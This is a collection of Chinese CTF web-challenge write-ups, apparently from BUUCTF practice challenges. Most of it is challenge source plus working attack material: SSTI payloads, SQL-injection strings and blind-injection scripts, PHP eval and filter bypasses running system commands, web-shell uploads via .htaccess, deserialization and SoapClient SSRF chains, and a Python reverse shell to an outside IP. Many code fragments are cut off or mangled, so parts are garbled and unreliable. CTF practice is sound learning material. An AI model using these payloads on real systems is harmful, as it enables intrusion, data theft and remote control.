import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
/shrine/路径下可以模板注入
http://c5d52eaf-29bb-49b6-81fc-c82fe18f6826.node3.buuoj.cn/shrine/{{1+1}}
源码中注册了一个名为FLAG的config
但黑名单把config、self循环遍历并替换为空,所以读取不到
url_for
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
get_flasher_messages
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
广告名处二次注入,且ban掉了注释,只能闭合引号注入
1' //查看广告详情报错
1'' //查看广告详情正常
空格过滤的基本操作
order by中含or,也被ban了,可以用group by代替
-1'/**/group/**/by/**/22,'1
联合查询
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
https://mariadb.com/kb/en/library/mysqlinnodb_table_stats/
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
参考链接:
https://www.jianshu.com/p/dc9af4ca2d06
https://www.anquanke.com/post/id/193512
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
select * from user where username = '$name'
union select查询可知有三个字段
后端代码
当查询的数据不存在时,联合查询就会构造一个虚拟的数据
输入admin,密码为md5(123456),代入查询时MySQL里面就会生成admin,123456的用户
同时使用123456密码进行登录,就可以绕过限制
name='union select 1,"admin","e10adc3949ba59abbe56e057f20f883e";#&pw=123456
这道题是以强网杯为原型的堆叠注入
1';show tables;
1';show columns from `FlagHere`;
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
$function = "sayHello";
$function();
函数用于包含当前请求所有头中信息的数组,失败返回FALSE
payload:`` p i = b a s e c o n v e r t , pi=base_convert, pi=baseconvert,pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
据说是可以在header中写入cat flag.php
带出flag,但我本地没有成功
最终payload:
http://833b3035-65c8-45f0-aef4-8214e5f05661.node3.buuoj.cn/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
robots.txt:
User-agent: *
Disallow: *.php.bak
最终在image.php.bak找到源码泄露
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
构造payload:
image.php?id=\0%27&path=%20or%20length((select group_concat(password) from users))=20%23
得知密码长度为20位,附上sql盲注脚本
import requests
import time
url = r'http://13f181de-393c-4dc4-b511-cf4ab608c75f.node3.buuoj.cn/image.php'
result = ''
for x in range(0, 20):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
params = {
'id':'\\\\0',
'path':payload
}
response = requests.get(url, params=params)
time.sleep(2)
print(payload)
if b'JFIF' in response.content:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
随便上传一张图片后发现文件名被写入日志
PHP开启短标签即short_open_tag=on
时,可以使用=$_?>
输出变量
filename="=@eval($_POST['a']);?>"
菜刀连一下,在根目录找到flag
CVE-2020-7245 CTFd v2.0.0-v2.2.2 account takeover分析
check.php
".$str_show."";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}
";
}
else{
echo "没抽中哦,再试试吧
";
}
}
show_source("check.php");
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Fmaj0100xE'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
得到伪随机数序列
41 41 0 61 12 12 0 61 0 0 0 61 9 9 0 61 26 26 0 61 27 27 0 61 26 26 0 61 26 26 0 61 23 23 0 61 40 40 0 61
php_mt_seed跑一下,得到随机数种子为468879187
得到密码
https://www.jianshu.com/p/27df5c67157c
1^1^1 //返回1
1^0^1 //返回0
sql盲注脚本
import requests
import time
url = "http://83b5c157-8a59-4ee0-b07d-90e16a32f156.node3.buuoj.cn/index.php"
result = ''
for i in range(40, 50):
for j in range(32, 127):
payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
print(payload)
r = requests.post(url, data = {'id': payload})
time.sleep(2)
if r.text.find('girl') == -1:
result += chr(j)
print(j)
break
print(result)
import re
import requests
import string
import time
url = "http://88558fb8-9ead-4106-b960-9c0e4ef5aecb.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
time.sleep(2)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag
nginx:.user.ini
apache:.htaccess
.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
shell.abc
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
GIF89a后面的12是为了补足8字节,满足base64编码规则
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"")
url = "http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
Payload
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
http://e9059d28-5f7a-44fc-801f-e76740eadd91.node3.buuoj.cn/upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc?a=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));
参考链接
https://www.cnblogs.com/wangtanzhi/p/12250386.html
SetHandler application/x-httpd-php
GIF89a
0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
首先到登录页面,爆破得到密码为zhangwei666
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$category = mysql_fetch_array($result)['category'];
category
在插入的时候进行了过滤,而在取出来的时候并没有过滤,这就造成了二次注入
category:123',content=user(),/*
留言:*/#
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
读取/etc/passwd
123',content=(select(load_file('/etc/passwd'))),/*
读取.bash_history
123',content=(select(load_file('/home/www/.bash_history'))),/*
读取.DS_Store
123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
读取flag
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
nc监听1234端口,payload如下:
/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.2.1.129",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
cat /proc/*/fd/*
https://www.smi1e.top/linux-%E5%8F%8D%E5%BC%B9shell%E6%96%B9%E6%B3%95
40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
phpinfo
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
shell
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
store = new B();
$this->key = '/../wtz.phtml';
$this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`'];
}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
];
}
echo urlencode(serialize(new A()));
//data=O%3A1%3A"A"%3A5%3A{s%3A8%3A"%00*%00store"%3BO%3A1%3A"B"%3A1%3A{s%3A7%3A"options"%3Ba%3A2%3A{s%3A9%3A"serialize"%3Bs%3A6%3A"system"%3Bs%3A6%3A"prefix"%3Bs%3A5%3A"sssss"%3B}}s%3A6%3A"%00*%00key"%3Bs%3A13%3A"%2F..%2Fwtz.phtml"%3Bs%3A9%3A"%00*%00expire"%3BN%3Bs%3A5%3A"cache"%3Ba%3A2%3A{s%3A4%3A"path"%3Bs%3A1%3A"a"%3Bs%3A7%3A"dirname"%3Bs%3A32%3A"`cat+%2Fflag+>+.%2Fuploads%2Fflag.php`"%3B}s%3A8%3A"complete"%3Bb%3A1%3B}
访问/uploads/flag.php得到flag
]>
&xxe; admin
]>
&xxe; admin
]>
&xxe; admin
]>
&xxe; admin
import requests
import time
url = "http://node3.buuoj.cn:25884/"
head = {
"GET" : "/ HTTP/1.1",
"Cookie" : "track_uuid=602832fa-679e-449d-f31d-92f05fefa7a6",
"X-Forwarded-For" : ""
}
result = ""
urls ="0' or ascii(substr((select F4l9_C01uMn from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1),{0},1))>{1} or '0"
for i in range(1,100):
l = 1
r = 127
mid = (l+r)>>1
while(l>1
if(chr(mid)==' '):
break
result+=chr(mid)
print(result)
print("table_name:"+result)
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}
?>
{"cmd":"ls"}
preg_match函数只会匹配第一行,可以用%0A
换行
源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
参考p牛PHP利用PCRE回溯次数限制绕过某些安全限制
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
在base64加密处提交{{1-1}}
,将得到的编码拿去解密后得到0,存在ssti
读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
发现flag和os被过滤
字符串拼接查找目录
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
字符串切片读取this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
home.php?file=php://filter/read=convert.base64-encode/resource=home
home.php
";
require $file;
}
} else {
echo "";
}
读取system.php
alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid
~$ ';
$str3 = ' Error: damn hacker!
~$ ';
$str4 = ' Error: request method error
~$ ';
?>
File Detector
@颖奇L'Amore
";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
主要思路是 让$detect
以字符串形式输出,有两种读取admin.php的方法
%1$s
%1$s
会将第一个参数用string类型输出
print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s会以字符串格式输出$detect,而%d会输出0
%s%
,sprintf()函数中%可以转义掉%
print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义,因此失
payload
POST:q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
得到admin.php的源码
403 Forbidden
only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) { //只要传入decrypt参数就不会生成随机数
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng'); //注意!这里加密的内容是从SESSION中取的,突破点就在这里
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999)); //这里的种子是真随机了,无法爆破
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。
所以只要我们在访问admin.php时,删除session访问,代码就会变成:
$cipher = aesEn(NULL, 'y1ng');
加密算法
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.201',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng')
//NjsmGkorj5yvvA4w11R3FA==
admin.php?decrypt=NjsmGkorj5yvvA4w11R3FA%3d%3d
payload
category=php://filter/read=convert.base64-encode/woofers/resource=flag
think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。
先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件
index.php
search.php
query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "姓名:".$row['user_name']."
, 电话:".$row['phone']."
, 地址:".$row['address']."
";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
change.php
query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
confirm.php
query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
change.php
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
在地址被更新的同时,旧地址被存了下来,造成二次注入
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,25)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),26,50)),0x7e),1)#
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()
x-forwarded-for:{if phpinfo()}{/if}
payload
{if system("cat /flag")}{/if}
SoapClient触发反序列化导致ssrf
serialize_hander处理session方式不当导致session注入
CRLF漏洞
通过反序列化调用SoapClient向flag.php发送请求,那么就可以实现ssrf
接下要解决的问题是:
这里要知道call_user_func()
函数如果传入的参数是array
类型的话,会将数组的成员当做类名和方法,例如本题中可以先用extract()
将b覆盖成call_user_func()
,reset($_SESSION)
就是$_SESSION['name']
,我们可以传入name=SoapClient
,那么最后call_user_func($b, $a)
就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
,即call_user_func(SoapClient->welcome_to_the_lctf2018)
,由于SoapClient
类中没有welcome_to_the_lctf2018
这个方法,就会调用魔术方法__call()
从而发送请求
payload
$target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=991m9bf41ue8k3bctirr5mm8m4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D991m9bf41ue8k3bctirr5mm8m4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
先注入poc得到的session
再触发反序列化使SoapClient发送请求
携带poc中的cookie访问即可得到flag
逻辑漏洞:
异步处理导致可以先调用增加钻石,再调用计算价钱的。也就是先货后款。
eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#arg3这样注释后面语句并可以调用任意函数,分号后面的#为传入参数,参数通过#被分割为参数列表.
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += 'Go back to index.html
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.
'.format(
session['num_items'], session['points'])
if page == 'index':
html += 'View source code
'
html += 'Go to e-shop
'
html += 'Reset
'
elif page == 'shop':
html += 'Buy a diamond (1 point)
'
elif page == 'reset':
del session['num_items']
html += 'Session reset.
'
html += 'Go back to index.html
'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += 'Download this .py file
'
html += 'Go back to index.html
'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '
')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
分析一下:
# flag获取函数def FLAG()
# 以下三个函数负责对参数进行解析。
# 1. 添加log,并将参数加入队列def trigger_event(event)
# 2. 工具函数,获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):
# 3. 从队列中取出函数,并分析后,进行执行。(稍后进行详细分析)
def execute_event_loop()
# 网站入口点
def entry_point()
# 页面渲染,三个页面:
index/shop/resetdef view_handler()
# 下载源码
def index_handler(args)
# 增加钻石
def buy_handler(args)
# 计算价钱,进行减钱
def consume_point_function(args)
# 输出flagdef show_flag_function(args)
def get_flag_handler(args)
有这么两个跟 flag 有关的函数:
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
